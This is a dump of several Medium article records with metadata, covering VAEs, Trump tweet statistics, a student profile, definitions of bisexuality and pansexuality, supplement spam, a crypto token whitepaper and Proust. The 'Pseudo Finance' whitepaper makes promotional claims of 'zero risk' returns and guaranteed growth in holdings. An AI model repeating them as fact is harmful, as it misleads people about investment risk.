The overall architecture is then obtained by concatenating the encoder and the decoder parts. However we still need to be very careful about the way we sample from the distribution returned by the encoder during the training. The sampling process has to be expressed in a way that allows the error to be backpropagated through the network. A simple trick, called reparametrisation trick, is used to make the gradient descent possible despite the random sampling that occurs halfway of the architecture and consists in using the fact that if z is a random variable following a Gaussian distribution with mean g(x) and with covariance H(x)=h(x).h^t(x) then it can be expressed as | https://towardsdatascience.com/understanding-variational-autoencoders-vaes-f70510919f73 | ['Joseph Rocca'] | 2020-07-07 20:31:29.780000+00:00 | ['Machine Learning', 'Artificial Intelligence', 'Deep Learning', 'Towards Data Science', 'Data Science'] |
Analyzing Trump’s Twitter Compulsion | IMAGE VIA SCREENGRAB
Never before has a U.S. President used Twitter to such a prolific and disturbing degree. What hidden insights can we glean from the text messages of a president who many believe to be mentally unraveling?
I copied Trump’s tweet data from the Trump Twitter Archive, opting to analyze the tweets starting on Jan. 20, 2017 at the top of his Presidential term. After saving the text data as a csv file, I imported the file into a Jupyter Notebook using the Pandas library.
As a data science student at the Flatiron School, I have been studying statistical distributions and probability. The Poisson Distribution is interesting because it allows us to calculate the probability of a given event happening by examining the average number of events that happen in a specific time frame.
image from Slideplayer.com
Using the information from Twitter, I want to determine the probability that Trump will compose a tweet at least 2 times in the next hour. This seems simple enough, but in order to make this calculation, I need to determine the frequency of his tweets in a certain time period.
I looked to the data for answers, believing that there must be a pattern to his daily Twitter usage. Surely, a President’s busy schedule will limit his smartphone communications at certain times of the day or night.
Alas, it appears there is no hour of the day that remains tweet-free, although Trump rarely tweets between 5 am and 10 am. His public schedule places Trump in the Oval office from around 8 am until 11 am on a typical day, so we can see that he has most likely tweeted upwards of 800 times while potentially making important executive decisions that impact the lives of millions of people across the world.
I cannot tell whether the tweets are actually coming from Trump himself or whether they are sent by his staff. Some of his tweets must have been made while he has traveled abroad or across the U.S., but the archived Twitter data only gives us the Eastern Standard timestamp.
Factbase has created a detailed calendar which aggregates information from multiple public sources and provides location and meeting data. They have determined that 705 of Trump’s 879 days in office have been spent at the Whitehouse, which means that ~80% of these tweets times are accurate.
Perhaps his tweet frequency by the day of the week will give us better insight. Internet and app usage have shown predictable traffic and behavioral patterns. According to Sprout Social, the best days to post on Twitter are Tuesdays and Wednesdays. Mondays through Fridays from 8 a.m.–4 p.m. also offer steady traffic and on Saturdays twitter engagement drops.
Below is a graph of Trump’s tweet frequency per day of the week. On average, Wednesdays and Fridays have been his busiest days. Could this be related to the news cycle or peak Twitter traffic times? Or is tweeting predominantly an impulsive activity and if so, what more important work is it interrupting?
Looking at the average tweets per day, Trump’s tweeting frequencies have increased year over year. While it is not a complete year over year comparison because we are less than halfway through 2019 — his average tweet rate per day has nearly doubled on the weekends.
So, how likely is it that Trump will tweet twice within the next hour? Given that it is currently a Tuesday in 2019, he is averaging around 12 tweets a day and he reports to only sleep about 5 hrs a day, the probability is pretty low — at 11%.
If time is not the best indicator of Trump’s need to tweet, what else could it be?
I downloaded a copy of Trump’s leaked private schedule from Axios and converted it into a csv file, I then merged the file with his tweet data. We can now see what Trump was supposed to be doing and where he was located while tweeting- November 7, 2018, through February 1, 2019. It looks like the majority (166 tweets) were sent while he was scheduled to be in the Oval Office.
There were 50 tweets with missing location data, but they were mostly made during the holidays. We know that Trump was at Mar a Lago for Thanksgiving and that he spent Christmas in Washington D.C. due to the government shutdown.
So what was on Trump’s schedule while he was tweeting from the Oval Office? Not surprisingly, it is largely categorized as Executive Time, but he was also tweeting during several meetings and lunches. Zooming out, we can look at all of the activity categories on Trump’s schedule, regardless of location, to find the tweet frequencies during each activity.
We are not given any additional information on Executive Time, but we can get additional details about his meetings and lunches. Below is a frequency graph of the activities categorized as a Meeting. It appears that he is most distracted by Twitter during Policy Discussions, Intelligence Briefings, and meetings with his Chief of Staff, essentially while conducting some of the most important aspects of his job.
Trump's lunch tweets are mostly made during private lunches, and the frequency declines when it is a working lunch.
As a Brooklyn resident, I am a bit surprised to see that he was eating and tweeting with NY Governor Andrew Cuomo. He tweeted 5 times during their November 28th lunch, four were retweets and one was this —
In conclusion, it was surprisingly easy to analyze Trump’s tweets. It is a silly exercise to predict whether he will tweet in a certain time frame but it inevitably revealed interesting information about his daily activities. While there have been several investigations into the content and impact of his tweets, we can also analyze the disruption and risk created by his habits. | https://towardsdatascience.com/analyzing-trumps-twitter-compulsion-3c6a61ba8354 | ['Jennifer Mckaig'] | 2019-06-19 16:21:03.633000+00:00 | ['Towards Data Science', 'Twitter', 'Data Science', 'Politics', 'Data'] |
“I want to be challenged” — Dror Kessler about a new chapter in his life | “It is a good time to move aside, take a year or two or three even, let the world settle down and when it emerges out of this crisis, you are different, too.”
All his life, Dror has been a very creative and musical person
Over the past 57 years of his life, Yacob Dror Kessler, known as Dror, has been through various circles of studying.
This year, while the world is in chaos, Dror decided that it was a good time for learning something new again. With a bachelor’s degree in mathematics and computer science, he has been working with data for many years. “But I am a little bit tired of doing just algorithms and computer science. I want to be a journalist as well”, Dror explains. The MA in Data Journalism at the Birmingham City University is an opportunity for him to not only bring in his skills and experience in handling data, but also to ask more critical questions. It is important to him that the public knows what data is collected and how it is being used.
As he has been working in data privacy in Israel for many years, this is also where his area of special interest lies. “I’ve been around a lot of data that has been secured for many reasons. Maybe for commercial reasons, maybe for government reasons. It has always fascinated me that the reason they secure it is not for it not to get lost, but for it not to get known. That’s the question: What is the reason for it not being known?”
All his life, Dror has been a very creative person: playing instruments and — since his twenties — also writing songs. This came as a new platform of expression for him, he says: “I found out that writing a song is the most efficient way of expressing an idea because a song usually is very concise and short. You have complete artistic freedom.”
At the same time, songwriting is a form of self-therapy for him. Whatever subject he thinks about, he writes about it — world events as well as very personal events. Constantly putting himself and his thoughts out there, on his website, does not scare him. “I am 57 years old, I am a grandfather, I know who I am, I had a nice life and I will have a nice life going forward. Maybe if I was in my twenties, I would look at it differently. But right now, I feel this is me and if somebody wants to approach this thing called Dror, that’s his choice.”
With a smile, Dror gives a hint that he will probably write a song about his experience, maybe even about some of his classmates.
Besides writing countless songs and working in data privacy, he has also published a book called “Intifada Solitaire” and launched a app “SpellMaze”, a spelling game which he is currently relaunching, an idea he had at the beginning of the coronavirus pandemic.
The current situation and travel restrictions — coming from Israel to the UK he needed to self-isolate — are also why he spent the past two weeks in his house in Wirksworth. Normally a holiday cottage, now his permanent home for the next year at least. When asked how he spent the time, he gets up and holds a paper with Japanese characters into the camera. “An hour or two a day I practice my Japanese, either handwriting or studying new words”, he explains. Besides he tried to relax before his next big adventure.
Dror while cycling from England to Croatia
Getting away from the computer, the data, is just as important to him. Whenever possible, Dror, definetely an outdoor person, likes to take long trips, either by walking or cycling. One trip stood out to him in particular, he says: “Two years ago, I cycled through Europe, from England to Croatia, just myself, my bike and a tent. I spent two months cycling, just going east all the time.”
“I want to be challenged”, is also his goal for the upcoming weeks and months. “To be challenged is to go beyond my area of comfort, beyond the things that I know. And this can be on a personal level or on a subject matter level. I want to feel that I am extending myself. The movements that I’ve been doing were certain movements, but now I am doing different movements.”
To develop more of a critical point of view is one of the outcomes he hopes to achieve. He describes himself more as an accepting than a challenging person, even though he is critical sometimes in his songs or when he talks. “I want to learn to be critical in writing, in investigating, in research.“ | https://medium.com/@vanessa-fillis/i-want-to-be-challenged-dror-kessler-about-a-new-chapter-in-his-life-fedb395f1aee | ['Vanessa Fillis'] | 2020-09-16 13:32:42.792000+00:00 | ['Journalism', 'Songwriting', 'Data Journalism', 'Career Journey'] |
Comparing Historical and Modern Descriptions of Bisexuality and Pansexuality | “Attraction to Men and Women”
Whether you call a person who is able to have sex with a male or female bisexual, AC-DC, a switch-hitter, ambisexual, pansexual, omnisexual, or, in Freud’s words, “polymorphous perverse,” his or her sexual persuasion is certainly nothing new.
Since I came out in the late 90s, I haven’t seen one bi activist organisation define bisexuality as attraction solely to men and women… When I use ‘bi’ to refer to two types of attraction, I mean attraction to people of my gender and attraction to people of other genders.
Pansexual: A person who is romantically and/or sexually attracted to both men and women.
Because they discarded the dichotomous understanding of gender, participants rejected the ideas that they were attracted to ‘both’ men and women, arguing that they did not perceive gender as the defining feature in their attraction.
Some discuss the difference between the two [sexualities] as focused on gender, such as this statement: “[Pansexuality is] different from bisexuality. Bisexuality refers to people attracted to men and women. With more people identifying across the gender spectrum between men and women, pansexuality has emerged as a catch-all that includes everyone else.”
Hardly anyone in the bisexual community defines bisexuality as attraction to just men and women.
“Attraction Regardless of Race or Age”
I don’t care if I fall in love with a black or a white or a man or a woman or an old or young person. I just care that they have a good heart…
…the very wealth and humanity of bisexuality itself: for to exclude from one’s love any entire group of human beings because of class, age, or race or religion, or sex, is surely to be poorer — deeply and systematically poorer.
“Attraction to (or Inclusion of) Trans People”
[P]ansexuals may be attracted to… those who are transsexual or transgender. This differentiates pansexuality from bisexuality, which denotes attraction to people of just two different sexes — male and female.
John Wojtowicz, a former bank teller [and self-identified bisexual], was sentenced today to [a] 20‐year prison term for the armed robbery of a Brooklyn bank — a holdup that he said he had committed to obtain money for a sex‐change operation for his [transsexual] “wife.”
A newer term, pansexual, has been adopted to include transsexuals…
The first wave of people who started the [San Francisco] Bi Center [opened in 1976] were political radicals and highly motivated people. The group was based on inclusivity… for example, in the women’s groups, anybody who identified as a woman had the right to be there, so a lot of transgender people started coming to the Bi Center.
Pansexual means an attraction to individuals of any of the five sexes (male, female, intersexed, transsexed); additionally, it is a term which goes beyond the self orientation identity of bisexual to include the orientation of transensual [i.e., attraction to transgender people].
I have talked to the bisexual practicers of pre-op transsexuals who feel they have the best of both worlds because their lover embodies woman and man together. […] With respect to our integrity as bisexuals, it is our responsibility to include transgendered people in our language, in our communities, in our politics, and in our lives.
Just like bisexuality, pansexuals are sexually attracted to men and women. But the key difference is that pansexual people tend to consider themselves as more ‘gender fluid.’ They may also be drawn to those who identify as intersex, third-gender, androgynous or transgender.
In the last two years, transgendered people have begun to catch my attention (before they didn’t). I am excited by the masculine (in men, women, and trans) and the feminine (also in men, women, and trans).
Bisexual is attracted to both sexes by both men and women — Attractiveness is related to gender… Pansexual is attracted to all, including transsexuals — Sex does not play any role.
My fellow bisexuals… I stand before you as an unapologetic, outspoken, bisexual activist who has intimately loved women, men and transgender persons throughout my life span of 72 years… I have the capacity and the desire to love men as well as women as well as transgender persons.
It never felt right for me to identify as bisexual. I know so many people who are asexual or two-spirited, and I’m open to being with someone who is trans.
I have a very inclusive definition of bisexuality that isn’t restricted to traditional binary gender roles and doesn’t exclude trans people (I believe that a ftm trans man is a man, not a separate category).
“Attraction to Androgyny”
Pansexuals love people of all genders, male and female, but unlike bisexuals, pansexuals love transgendered, androgynous and gender fluid people, people who don’t fit into the categories of male or female.
The Bisexual Center is united in struggling for the rights of all women and men to develop as whole, androgynous beings.
A pansexual person can love not only the traditional male and female genders, but also transgendered, transsexual, cross-dressing, androgynous and gender-fluid people.
Others are attracted to masculinity and/or femininity, regardless of a person’s sex. Some of us who identify as bisexual are in fact “gender-blind.” For others — in fact for me — it’s androgyny or the blending of genders that compels.
“Attraction to Intersex People/All Sexes”
The term pansexual attractions is a liberating and newly coined reference to individuals who are primarily attracted to all individuals and all sexes.
…bisexual usually also implies that relations with gender minorities [defined here as “not male or female” and described as intersex people] are possible.
Pansexual means an attraction to individuals of any of the five sexes (male, female, intersexed, transsexed)…
And there are some bisexuals who do prefer hermaphrodites, or would if we could find them…
Pansexuality encompasses attraction to members of all sexes and gender identities. It is broader than bisexuality, which implies that one can only be attracted to biological males and females.
Even if they do not identify as bisexual, [transgender people] may feel more comfortable in a bi community in which attraction to all sexes and genders is accepted.
“Attraction Regardless of Genitalia”
Pansexual/omnisexual: Attracted to “people, not parts”.
Many bisexuals, myself included, feel we are attracted to people for qualities other than biological equipment.
Others extend even this broad definition by delineating pansexuality as being not about the sexual equipment of the individual…
“Gender indifferent” bisexuals often annoy others by claiming to “love people, not genitals” — implying that gays, lesbians, and hets care only about whether someone has a cock or a cunt.
Pansexuality basically means it’s about hearts, not parts.
My bi identity is not about who I am having sex with; it is not about the genitals of my past, current, or future lovers; it is not about choosing potential partners or excluding partners based on what is between their legs.
As a pansexual person, as well as fancying males, females, and other genders, I feel I experience sexual attraction differently to the average person. I never look at someone and think, ‘I wonder what it’d be like to fuck them? I wonder what their genitals look like.’ That thought doesn’t enter my head.
The professor of that class, bisexual herself, perfectly captured the essence of bisexuality: “It’s not a set of genitals walking up to me, it’s a person.”
“Rejecting the Sex/Gender Binary”
[A]ll my friends had been what I would call pansexual, avoiding the older term bi-sexual, which is meaningless when you can count more than two sexes.
As one who views herself as a feminist bisexual woman… I must challenge yet a third aspect of sexism which has not yet been challenged, at least not on a large scale. I call this aspect two-genderism, a rather clumsy term upon which I hope someone will improve. […] Literature which insists that there are only women and men is conspiring unconsciously with sexist forces to crush those in between.
I don’t identify as bisexual for a few reasons… I firmly believe there are not two genders. So identifying as bisexual is counterproductive to my gender politics. So when people ask me, “Are you bisexual? gay?” I’m like, “I’m equal opportunity. I sleep with people of all genders.”… I identify with pansexual.
Do not assume that bisexuality is binary or duogamous in nature… don’t assume that there are only two genders.
Though many might describe [Mary] Gonzalez’s orientation as bisexual, pansexuals don’t believe in a “gender binary,” and hence can be attracted to all gender identities.
I myself recently received a party invitation that read “for men, women, and others.” What your mother probably never told you is that not everyone is 100% female or 100% male. Many of us may have two or more personas or parts of our personalities that transcend traditional gender constraints and roles — not phony ones to please our parents and bosses — but roles of self-expression, self-exploration, and fun.
[P]ansexual means that you are capable of being attracted to any and all genders. What makes it different to bisexuality is the acceptance that people exist outside the gender binary.
…there is a distinct subset of the bi community which experiences bisexuality as a lived protest against gender categories, whose members appreciate cross-gendered and genderbending partners not only for fine gender-neutral qualities but precisely because with them we can have “maleness” and “femaleness” in the same person… The gender players tend to see gender roles and identities as fluid vs. immutable, transgressable through sexual play even if oppressive in daily life.
[Pansexual] has since been adopted by some people as a more inclusive term than bisexual, a term that implies that there are only two genders (male and female).
As bisexuals, we are necessarily prompted to come up with non-binary ways of thinking about sexual orientation. For many of us, this has also prompted a move toward non-binary ways of thinking about sex and gender.
“Attraction Beyond the Gender Binary”
Since, however, there are more than two genders, some people do not self-identify as bisexual, finding themselves attracted to people across a spectrum of genders. These people have adopted different terms, including pansexual…
Herself a bisexual woman, [Nan Goldin] found that drag queens, to her a third gender, were perfect companions. By transgressing the bounds of the binary, they had created identities that were infinitely more meaningful.
Pansexuals describe their attraction as different from bisexuality, which only considers the gender binary — if you are bisexual, by definition you are attracted to either men or women.
And all the while, busy bisexuals are having sex: with women, with men, with partners whose gender is unclear, fluid, or mixed…
[Pansexuals can] love all people and don’t look at gender as being the most important aspect. [They] can be sexually and/or romantically attracted to someone who is transgender, non-binary, or gender fluid.
“Hello, my name is Jaqueline Applebee… if you want to see me later, or just want a kiss, let me know as I’m bisexual, and you’re all gorgeous!” […] I have loved men, women, and those who don’t identify with any gender.
“Attraction to All Genders”
Pansexuals love people of all genders, male and female, but unlike bisexuals, pansexuals love transgendered, androgynous and gender fluid people, people who don’t fit into the categories of male or female.
Who is this group for exactly? Anyone who identifies as bisexual or thinks they are attracted to or interested in all genders… This newly formed [support] group is to create a supportive, safe environment for people who are questioning their sexual orientation and think they may be bisexual.
Pansexual or Pan: is used to describe anyone romantically and sexually attracted to people of all genders.
Similarly, the modern bisexual movement has dissolved the strict dichotomy between ‘gay’ and ‘straight’ (without invalidating our homosexual or heterosexual friends and lovers.) We have insisted on our desire and freedom to love people of all genders.
Thus, someone who is omnisexual or pansexual can be attracted to all genders, or a variety of gender identities.
Bisexual — being emotionally and physically attracted to all genders.
[T]hough many might describe [Mary] Gonzalez’s orientation as bisexual, pansexuals [like Gonzalez] don’t believe in a ‘gender binary,’ and hence can be attracted to all gender identities.
The bisexual community seems to be disappearing. Not that there won’t always be people around who like to have sex with people of all genders, the community, as I’ve discussed in this book, is a different matter altogether.
It is often confused with or included within the definition of bisexuality, but it is a more fluid and much broader form of sexual orientation in which the pansexual individual experiences sexual attraction towards members of all genders.
I call myself bisexual because it includes attraction to all genders (same as mine; different from mine).
“Attraction Regardless of Gender”
The term pansexual refers to individuals that feel sexual attraction to an array of individuals regardless of sex, gender or gender identity.
Being bisexual does not mean they have sexual relations with both sexes but that they are capable of meaningful and intimate involvement with a person regardless of gender.
Pansexuality- Is the sexual attraction towards people regardless of gender[,] also known as omnisexuality[.]
In the midst of whatever hardships we [bisexuals] had encountered, this day we worked with each other to preserve our gift of loving people for who they are regardless of gender.
Pansexual: Sometimes referred to as omnisexual, pansexual describes an attraction to a person regardless of sex or gender.
To be bisexual is to have the potential to be open emotionally and sexually to people as people, regardless of their gender.
If you are pansexual you are attracted to people of all genders, not just male and female, and your attraction occurs regardless of gender identity.
Bisexual: A person who is attracted to people regardless of gender (a person does not have to have a relationship to be bisexual!)
“Attraction Without a Gender Preference”
Pan-sexual — Lacking highly specific sexual orientations or preferences; open to a range of sexual activities.
I’m a 31-year-old, non-monogamous (though not into group sex), bisexual (no gender preference for partner) female living in Asheville, NC.
“Attraction Where Gender Is Not a Factor”
“I consider Little Richard to be the most famous pansexual,” said Leon. “He was not about genders. He was about beautiful and not beautiful. If there was a cute boy and a homely girl, he’d talk to the boy. If the girl was pretty, he’d talk to her.
My main feeling is that I want to love human beings; sex and gender should not be determining factors.
Pansexual is basically a more liberal version of bisexual. It means you don’t care about someone’s gender or identity or sexuality, you just like them for them.
Some women who call themselves ‘bisexual’ insist that the gender of their lover is irrelevant to them, that they do not choose lovers on the basis of gender.
Often confused with bisexuality, pansexuality is where gender isn’t factored into attraction at all. In contrast, those who identify as bisexual are attracted to both genders.
Respondent #495 recalled that “the best definition I’ve ever heard [for bisexuality] is someone who is attracted to people & gender/sex is not an issue or factor in that attraction.”
While bisexuality’s definitions vary, the common thread is that a bi person’s attraction is influenced by gender. In a positive way, gender is still a factor that informs their attraction. Pansexuality, on the other hand, doesn’t hinge on gender, and our attraction to others has nothing to do with our own gender identity.
But there are also many bis, such as myself, for whom gender has no place in the list of things that attract them to a person. For instance, I like people who are good listeners, who understand me and have interests similar to mine… “Male” or “female” are not anywhere to be found in the list of qualities I find attractive.
“Attraction to People, Not Genders”
They are gathering… with an open-ended attitude of genuinely caring for each other but I-don’t-care-what-you-call-me, polymorphous perverse, any thing-that-feels-good-goes pansexuality. This is the Third Sex. Whether physically girlish boys or boyish girls, the members of the third sex are attracted to people, their auras, vibrancies, minds and good looks, not to genders. Fuck genders. Make love to people.
*If the author believes the “third sex” has an independent sexual orientation, it would likely be “pansexual,” but he never clearly says this. Including this quote as a definition of pansexuality — which isn’t directly defined on its own in this text and also used to describe “attitudes” about sexuality— was very tentative.
It’s easier, I believe, for exclusive heterosexuals to tolerate (and that’s the word) exclusive homosexuals than [bisexuals] who, rejecting exclusivity, sleep with people not genders…
[S]ome pansexuals refer to themselves as gender blind as to them gender is insignificant in determining whether they will be sexually attracted to others.
[S]ome bisexuals say they are blind to the gender of their potential lovers and that they love people as people… For the first group, a dichotomy of genders between which to choose doesn’t seem to exist[.]
People who use this label [“pansexual”] may describe themselves as ‘gender blind’…
The probability is that your relationship is based on, or has nestled itself into something based more on the relationship between two identities than on the relationship between two people. That’s what we’re taught: man/man, woman/woman, woman/man, top/bottom, butch/femme, man/woman/man, etc. We’re never taught person/person. That’s what the bisexual movement has been trying to teach us.
Aside from who pansexuals are attracted to, they also see gender and sexuality differently [from bisexuals]. More specifically, they do not see it…
I see a person, not a gender… I demand to be free to legally marry anyone without regard to their gender.
For example, a bisexual cis woman might be attracted to a cis man or woman, whereas a pansexual would be attracted to a cis person. That’s why some people use the term ‘gender blind’ to explain pansexuality.
Loving a person rather than a man or a woman: this is Runa Wehrli’s philosophy… ‘I fall in love with a person and not a gender,’ she says.
“Attraction to Personality”
People who [identify as pansexual] may describe themselves… as being attracted to a person’s personality rather than his or her sex.
[W]riters, artists, and musicians especially ‘cultivated bisexuality out of a delight with personality, regardless of race or class or sex.
Thorne described her sexuality as favoring someone’s personality more than their body. “You like beings,” she said. “You like what you like. Doesn’t have to be a girl or a guy or a he or she or they or this or that. It’s literally you like personality. You just like a being.”
Results supported the hypothesis that gender is not a critical variable in sexual attraction in bisexual individuals. Personality or physical dimensions not related to gender and interaction style were the salient characteristics on which preferred sexual partners were chosen.
Pansexual: …Sexual orientation associated with desiring/loving a person’s personality primarily, and specific bodily features secondarily.
We [bisexuals] like people based on personality[,] not gender.
”Potential Attraction to Anyone”
In 1963 [Rita Mae Brown] was kicked out after agitating for greater racial integration, but what the school authorities actually nailed her for was her “pansexuality,” as she puts it. “I was open to loving anybody.”
[B]eing bisexual means I could potentially find myself sexually attracted to anybody.
“It doesn’t matter if you’re male, female, trans male, trans female, nonbinary — everyone’s hot to me.”
For me bisexuality means I don’t stop attraction, caring or relationship potential based on gender; I can have sex, flirtation or warm ongoing love with anyone (not everyone, okay? That part’s a myth).
“All Forms of Human Sexuality”
Pansexuality includes all kinds of sexuality that can exist in a human
being, gay, lesbian, bisexual, transexual, transgender, heterosexual,
tendencies that may prevail either permanently or occasionally. | https://medium.com/an-injustice/comparing-historical-and-modern-descriptions-of-bisexuality-and-pansexuality-ede1ebdb9e61 | ['Kravitz M.'] | 2020-12-07 02:57:46.198000+00:00 | ['LGBTQ', 'Queer', 'Sexuality', 'History', 'Kravitz M'] |
BRUTAL FORCE How To Start Bodybuilding | BRUTAL FORCE
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#brutalforce #brutalforcereview #bodybuildingsupplement | https://medium.com/@media-4u-too/brutal-force-how-to-start-bodybuilding-8a20315a8063 | [] | 2021-02-12 00:08:49.511000+00:00 | ['Fitnessmotivation', 'Fitness', 'Body Positive', 'Health', 'Fitness Tips'] |
Pseudo Finance | An Altruistic Foundation to Grow Sustainable Value
Core to $PSEUDO is the altruistic value of giving to projects which either help those outside the ecosystem who are in great need and fulfilling humanitarian goals or help donating to public goods such as grants on platforms such as Gitcoin in order to further grow the space, and thus further grow our own crypto’s values through the value gains made from the funded efforts. $PSEUDO isn’t solely about altruistic values but also self sustainability. By growing the treasury through the token’s use and pseudo-burn mechanics, the protocol can grow its reach, benefit, and value to all holders symbiotically.
Welcome to Pseudoabflationary Economics
Deflation occurs through value gained. Inflation occurs through token value being lost. Often these are confused with supply increases where a token supply increasing thought of inflation and supply decreasing is thought of as deflation. While these conceptions are slightly different, comparing what economics consider inflation versus the common notion of inflation being supply-based, the outcome is the same: does the value go up or down?
What we are proposing is both in one system abstracted to the end user. It’s called ab-flation because, while the supply is deflationary, the deflation is abstracted. 0.5% of every transaction is burned that burn fee is then distributed fairly to all Pseudo holders, instantaneously and without requiring gas-driven claims. They’ll just show up in your wallet of choice. Burned tokens are returned to all of the protocol’s holders invisibly, instantly, and can be displayed as simple growth in holdings.
By making a small part of every transaction attract a burn fee, the supply is slowly decreased with the more the protocol gets used the higher the rate of burned tokens, reducing the supply. And by reducing the supply, Economics 101 says that the price should go up with the supply drop if demand stays the same. But this may not always happen as markets like to do technical analysis around prices and so the supply may not always be accounted for.
But what if the burn was distributed back to all participants in the network and they actually gain the value destroyed in tokens directly? We believe this is a good model, as it allows people to actually see their value increasing while the supply doesn’t actually change. Given constant demand, the price doesn’t change however their holdings in the form of (token x the price) will go up slowly. This is an abstraction of deflation. Because this would require airdroppping all holders’ tokens or messing with balances, gas costs usually would be sky high which is why this system hasn’t yet been seen in the wild on Ethereum. So instead, we’ve designed a simple and efficient system which costs 0 gas. This abstraction of the deflation which occurs gets abstracted through us representing the balance of the user as the
Balance = balance * totalsupply / (totalsupply — burnedsupply)
Let’s imagine there are 2 holders of $PSEUDO with 5 tokens each, and 20 tokens in existence. If — through a lot of use by the other parties in the system — all of the other parties tokens get burned and the supply reduces to the 10 tokens held by those 2 holders, then the balance of the 2 holders will actually slowly increase to 10, which together will allow for the supply to always be 20 tokens of balances while the underlying supply is able to be burned. This allows for holders to benefit in the same way most PoS systems work but with 0 risk trying to use contracts to stake their tokens and without any active management. The burn benefits the holders directly with every burn transaction. This is an invaluable part of the design as it allows for all including the dao to benefit from increased usage, motivating people to grow the system.
The DAO Contribution
What if we could take this even further? What if part of the burned fees instead went to the DAO, which is managed by the token itself? This would allow for holders to not lose value that they could gain from the burns as their tokens would now be able to govern the same value that they are not capturing directly through the abstraction but they also now are able to collectively vote and fund proposals which sole participants otherwise couldn’t which would grow the system far more than just holders gaining passive value. Like if an audit for a new system were to be needed then the DAO would be able to vote to fund it, which after completion would make the system much more secure and attract many more people into the system. This would not be possible from sole participants as the costs would be too high for a small number to pay for it and unfair as the whole system would benefit, and so by making it part of the burned funds not only do holders gain passive value they are able to gain value from proposals from the DAO and actively help to manage the protocol and grow it.
The Pseudo token contract has been conceived with a minified, inbuilt governance protocol alongside the separate treasury DAO. On the surface level, a majority of holders can quickly and efficiently update their votes. And if the majority all vote for a new treasury address, then the 0.5% DAO contribution (from the 1% tx fee) will be rerouted to the new treasury address the moment the treasury gets updated.
But we also chose this unique governance mechanism for two primary reasons.The first is that of upgradability in regards to the DAO governing the treasury. Innate governance permits not only updates to the DAO without affecting the underlying token contract (and its security), but also serves as a failsafe in case the DAO contract breaks. In that unlikely scenario, the token will continue to work without any interruption or intervention needed.
Secondly, it allows for voters to choose to update and use a new DAO if the current DAO is not meeting the holders’ purposes. A majority can quickly elect to go from a non-profit to a profit DAO, or from profit to non-profit, or simply route the treasury payments to a completely separate system, or even just a single donation address. The protocol creates a sort of DAO-ception where a governance mechanism is able to delegate the funding of another more complicated governance mechanism to be built on top.
Horizontal Governance
By allowing for a Minified DAO to control the source and revenue, routing to DAOs can actually be sent to a contract or another DAO that allocates the funds to multiple specialist sub-DAOs in a chain. Those DAOs are then able to work in tandem to accomplish all the goals for the holders without trying to get high participation for all holders or all members for proposals they’re not interested in. This is critical to Gen2 DAOs where they’ll control and manage sub DAOs improving effectiveness and efficiency while allowing all goals to be accomplished. Vertical DAOs can now become three-dimensional, turning a Decentralized Autonomous Organisation into a Decentralized Autonomous Collective.
The Tree of Life
For a seed in most definitions, the purpose would be for growth of value — like any asset. But this growth of value does not have to be for just the value of the token holders. It can be the value obtained through a progressing society and cryptocurrency space and the technology benefiting all. In this way, we hope that the DAO will always keep its core value proposition to be Altruistic and donate to causes which do not benefit it directly in order to be not for-profit but a community driven fund that makes everyones lives better. We should not only enrich ourselves but look to how we can make the world better. However, it must be acknowledged that peoples’ underlying and strongest drive will always be greed. By exploiting this drive, designing the system to be net altruistic, and encouraging its benefits to grow alongside peoples’ greed drive and personal value, we can not only achieve full self sustainability in altruistic giving but also further the personal goals of participants.
TransferX
As part of our overhaul we looked at features fundamental to payments. As such we came to roll up 2 capabilities to 1 new TransferX fn thats backwards compatible so that the options dont break apps without the new features.
Now you can send multiple payments with 1 transaction (.5x gas cost reduction). And you can put a memo as a payment reference or just whatever you want. ERC 20.1.
Proof of Donation
Further, a part of the original allocation has been put toward a slowly price-decreasing Proof of Donation, in which a contract can be sent eth and will price the tokens you receive along
Price = 10 * (finish — start) / ((finish — start) — (now — start))
This allows for the most donation funds to be received and then reduced until 0 to make sure no funds are locked in the contract. This contract gets deployed with the addresses set that will get the funds and cannot be changed.
Perpetual Liquidity Incentivisation
Through using a drip style contract the Liquidity Provider Staking Pool gets filled every 24h with an allocation of tokens thats determined by Drip Contract Balance / 100. This allows for the amount sent to the LP pool to slowly decrease but never run out allowing for price rises to compensate for the change in amount. This allows for LP providers to be incentivized from a pool without any stop to the incentivization.
Values and Driving Goals
I feel it is important for a community for there to be a common set of values and goals. While this may change, it may be good to set a foundational basis for these values so that the community can reach a common drive at the very start. As such, I propose that the DAO and the system around it more generally value and try to achieve the following goals.
Public Benefit and Charitable Giving should be core to the values of the project. $PSEUDO is not a purely charitable project and there are financial motives as with any other project in the space, but it should always be a strong consideration.
We should always try to be as transparent as possible in our organization, decision making, and implementation of the project. All decisions should be looked at by the community before being considered final with the ability to vote on decisions, either on- or off-chain.
Altruistic Capitalism
The abovementioned 0.5% contribution (from ½ of the 1% tx fee) goes into the DAO treasury, whose address can be directed and further redirected only with the built-in Minified, Stratified DAO’s governance. We imagine things will at first go to simple charities — the Gitcoins and Giveths of the world. But Pseudo can and should be much larger. We can decide to invest in other powerful new DeFi projects or execute further opportunities to grow the DAO and reward its active members. The governance could eventually use the treasury to provide insurance, healthcare, Universal Basic Income. What if we fund multiple independent and specialist DAOs all working synergistically to grow not just $PSEUDO but common goods around the world too?
Anything is possible with Pseudo. And the mechanism that makes it all work is how whales, holders, and users alike are ALL rewarded and ALL valued on Psuedo. If money is your thing and you just want to be a capitalist, then the token’s simple abflation (and removal from public circulation by way of the treasury) means it will increase your holdings. Easy. However, if you’re like many of us, looking for ways to grow your holdings and utilize something new as well as give back to the community, you can feel good knowing you’re contributing to something greater and grander.
With $PSEUDO you might think you’re just here to make money. But we promise that thanks to its unique programming, we’re gonna make you into a philanthropist as well — whether you like it or not ;)
Discord
https://discord.gg/XdpHKfMspS
Twitter
https://twitter.com/PseudoFinance | https://medium.com/@pseudofinance/pseudo-finance-d19b2f09b875 | ['Pseudo Finance'] | 2020-12-26 17:28:27.601000+00:00 | ['Cryptocurrency', 'Defi', 'Ethereum'] |
A shortcut to understanding Proust | Context is as important as the words on the page
8. “They themselves offered me no enlightenment, and I could not call upon any other flower to satisfy this mysterious longing. And then, inspiring me with that rapture which we feel on seeing a work by our favorite painter quite different from those we already know, or, better still, when we are shown a painting of which we have hitherto seen no more than a pencilled sketch, or when a piece of music which we have heard only on the piano appears to us later clothed in all the colours of the orchestra, my grandfather called me to him, and, pointing to the Tansonville hedge said to me: “You’re fond of hawthorns; just look at this pink one — isn’t it lovely?”
